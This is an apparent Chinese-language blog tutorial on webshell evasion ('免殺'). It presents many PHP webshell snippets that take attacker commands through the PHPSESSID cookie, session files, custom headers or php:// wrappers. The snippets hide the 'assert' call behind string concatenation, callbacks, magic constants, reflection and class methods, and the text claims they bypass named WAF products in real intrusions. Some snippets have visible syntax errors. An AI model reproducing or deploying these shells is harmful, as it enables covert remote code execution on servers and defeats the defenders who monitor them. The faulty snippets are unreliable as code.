什么?你還不會webshell免殺?(二)
webshell免殺之傳參方式及特征繞過
傳參方式
在這里解釋一下為什么,需要講述傳參方式,由于在很多情況下,以請求頭作為參數傳遞并非waf和人工排查的重中之重且非常誤導和隱藏,下面就是常用的幾種方式
1.Cookie
由于Cookie基本上是每個web應用都需要使用到的,php應用在默認情況下,在Cookies請求頭中會存在一個PHPSESSID=xxxx這樣的cookie,其實這個就可以成為我們的傳參位置
<?php session_start(); $a = "a"; $s = "s"; $c=$a.$s."sert"; $c(base64_decode($_COOKIE["PHPSESSID"])); ?>
使用burp抓包

將內容改成base64加密后的命令

可以看到已經執行成功了,可以看到這個迷惑去非常強,如果不仔細排查是不容易發現的,由于webshell的session和網站本身業務并沒有關系,所以這個PHPSESSID可以隨意修改
2.Session
session的傳參方式其實算是一種間接傳產方式,由于session的內容是需要通過源碼設置的,并不能想cookie一樣直接在請求頭中修改,因此需要準備兩個文件,一個是將輸入的參數傳入session,另一個就是將session中的內容取出并執行命令
這里依舊沿用上面的cookie傳參
給session傳入參數
<?php session_start(); $_SESSION['dmeo']=base64_decode($_COOKIE["PHPSESSID"]); ?>
取出session內容并執行,其實下面的代碼是可以直接插入到正常頁面中的,增加迷惑性,因為一般正常頁面返回的html代碼是比較多的,如果我們將內容回顯的正常頁面當中是比較難發現的
<?php session_start(); $a = "a"; $s = "s"; $c=$a.$s."sert"; $c($_SESSION['dmeo']); ?>
在test.php下通過cookie添加session,注意這個PHPSESSID的值其實就是一個session文件,每當有一個新的sessionid都會生成一個新的session文件,因此這個文件名我們是可以隨意修改的,在這里的sessionid不但是文件名,而且也是我們的base64加密后的命令,這里只需要了解一下即可

訪問命令執行的頁面,并添加其cookie,即可跨頁面傳遞參數,如果用這種方式傳參是比較難發現的

總結:session傳參其實就是一種參數轉移的感覺
3.自定義頭
自定義請求頭其實也是作為一種偽裝的請求方式,你可以選擇完全自定義一個請求頭進行參數傳遞,但是很多waf也會檢測一些沒出現過的請求頭容易被識別出來,且一旦在日志中被找到一個以這種方式傳參,很容易就能查找到使用數據包,還是不穩當,與cookie相比,cookie本身就是一堆隨機數不好區分
<?php session_start(); $a = "a"; $s = "s"; $c=$a.$s."sert"; $c(getallheaders()['Demo']); ?>

4.php偽協議
<?php
$q=$_GET[1];
file_get_contents("php".$q)($_GET[2]);


特征繞過
在這里為什么我會將特征繞過,而并沒有像其他博客上寫的那些,整一堆混淆的方法,原因就是因為,waf畢竟還是通過特征判斷的,只有知道了,waf匹配的正則表達式大概是什么樣的,webshell的免殺有真正的意義
數據特征繞過
1.$_xxx[xxx] 繞過:
看這個特征可以發現很明顯的是一個獲取參數的語句,但為什么我會將起列舉出來了,因為在很多情況下,現在的web應用大多都是使用的框架,基本上所有的獲取請求參數內容的方法都是經過框架封裝過的,最原始的獲取參數內容的方式已經非常少見了,很容易通過一些命令如linux下的find命令通過正則表達式即可找到對應的webshell,很容易被發現,因此不使用該特征是很有必要的
1.1 {}
使用{}來替代[]是在ctf中十分常見的繞過方式
<?php
echo $_GET{"demo"};

1.2 foreach語句
利用復合變量加foreach,獲取參數中的內容,其特點并沒有[],不容易被識別
<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
foreach (array('_GET') as $r){
foreach ($$r as $k =>$v){
$c($v);
}
}

自定義請求頭
使用自定義的請求頭同樣是沒有上面的特征
<?php $a = "a"; $s = "s"; $c=$a.$s."sert"; $c(getallheaders()['Demo']); >

2.xxx) 繞過:
這個特征大致就是某盾,某狗等的正則表達式匹配的內容,只要去消除此特征即可免殺
2.1 ""特性
該原理就是""中的變量不會被當做字符串使用,會被解析,經過測試該方法基本失效
<?php
$a = "a";
$s = "s";
$c=$a.$s."sert";
$f = $_POST[1]
$c("$f");
>
2.2 回調函數
<?php
function demo()
{
return $_GET["a"];
}
demo()($_GET["b"]);

2.3 魔術常量
可以用到的4種魔術常量
__FILE__:返回當前文件的絕對路徑(包含文件名)。 __FUNCTION__:返回當前函數(或方法)的名稱。 __CLASS__:返回當前的類名(包括該類的作用區域或命名空間)。 __NAMESPACE__:返回當前文件的命名空間的名稱。 __FILE__的利用,將webshell的名字改為base64編碼后的內容 <?php base64_decode(basename(__FILE__,".php"))($_POST[1]);

__FUNCTION__的利用,將webshell的名字改為base64編碼后的內容
<?php
function assert2(){
substr(__FUNCTION__,0,6)($_GET[1]);
}
assert2();

__CLASS__的利用
<?php
class assert2{
static function demo(){
substr(__CLASS__,0,6)($_GET[1]);
}
}
assert2::demo();

__NAMESPACE__的利用 <?php namespace assert2; substr(__NAMESPACE__,0,6)($_GET[1]);

以上的4種基于魔術常量的免殺webshell都是可以繞過某盾的

當然在實戰種還是要像上一篇文章一樣,將傳入的參數進行加密處理,如果再把傳參方式改為cookie的那就很完美了
2.5 自定義常量
<?php
define("DEMO",$_GET[1]."ert");
substr(DEMO,0)($_GET[2]);


2.4 分離免殺
顧名思義,就是將一個馬拆分成兩部分,及使用file_get_contents()將內容讀取出來,為什么不使用include等這些文件包含函數了?因為webshell的免殺在于動態函數的調用,最終還是要拼接在一起,繞過的原則其實就是繞過waf的正則表達式,如果直接include其實和寫在一個文件里沒啥區別
<?php
file_get_contents("test.txt")($_GET[1]);



2.5 注釋及空白符混淆
這種方式和sql注入差不多,原理就是php允許在括號中添加注釋符和空白符并不會影響代碼正常運行
<?php $func = $_GET["func"]; $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c(//);//( $func//);//); ) ?>


這里方式可以繞某狗,但過不了某盾
2.6 反射調用
反射類及反射類方法
<?php
$class = new \ReflectionClass('Site\\Website'); // 以類名 Website 作為參數,即可創建 Website 類的反射類
$properties = $class->getProperties(); // 以數組的形式返回 Website 類的所有屬性
$property = $class->getProperty('name'); // 獲取 Website 類的 name 屬性
$methods = $class->getMethods(); // 以數組的形式返回 Website 類的所有方法
$method = $class->getMethod('getName'); // 獲取 Website 類的 getName 方法
$constants = $class->getConstants(); // 以數組的形式獲取所有常量
$constant = $class->getConstant('TITLE'); // 獲取 TITLE 常量
$namespace = $class->getNamespaceName(); // 獲取類的命名空間
$comment_class = $class->getDocComment(); // 獲取 Website 類的注釋文檔,即定義在類之前的注釋
$comment_method = $class->getMethod('getUrl')->getDocComment(); // 獲取 Website 類中 getUrl 方法的注釋文檔
?>
通過屬性名免殺
<?php
class a{
public $assert2;
}
$class = new ReflectionClass(new a());
substr($class->getProperties()[0]->name,0,6)($_GET[1]);

通過注釋免殺
<?php
/**
*phpinfo*/
class A
{
public static function B()
{
return $_POST[1];
}
}
$re = new ReflectionClass(new A());
$a = str_ireplace(" ","",str_ireplace("\n","",str_ireplace("/","",str_ireplace("*","",$re->getDocComment()))));
substr($a,1)(A::B());

2.7 類調用
類方法調用
<?php
class a{
function demo(){
$a = "a";
$s = "s";
$c=$a.$s."sert";
return $c;
}
}
$s = new a();
$s->demo()($_GET[1]);


類的靜態方法
<?php
class a{
static function demo(){
$a = "a";
$s = "s";
$c=$a.$s."sert";
return $c;
}
}
a::demo()($_GET[1]);

總結
webshell的免殺前提是要分析出waf大概的規則,如果盲目嘗試是無法有更快的提示,正所謂大道至簡,本文以最簡單的代碼解釋了免殺的方法,原理以及waf背后的邏輯,對于更高級的waf,本文列舉了很多種方法,在必要的時候是需要將多種方法合并使用的,以達到最好效果,最后有的繞過方式實在是太老了就沒必要講,如無特征馬說是無特征,但這所謂的無特征就是它的最大特征,物聯網是人類創造的,所有的東西都滿足人類邏輯,不要死記硬背那些復雜的免殺馬,只有清楚背后的邏輯才能真正的有所提升。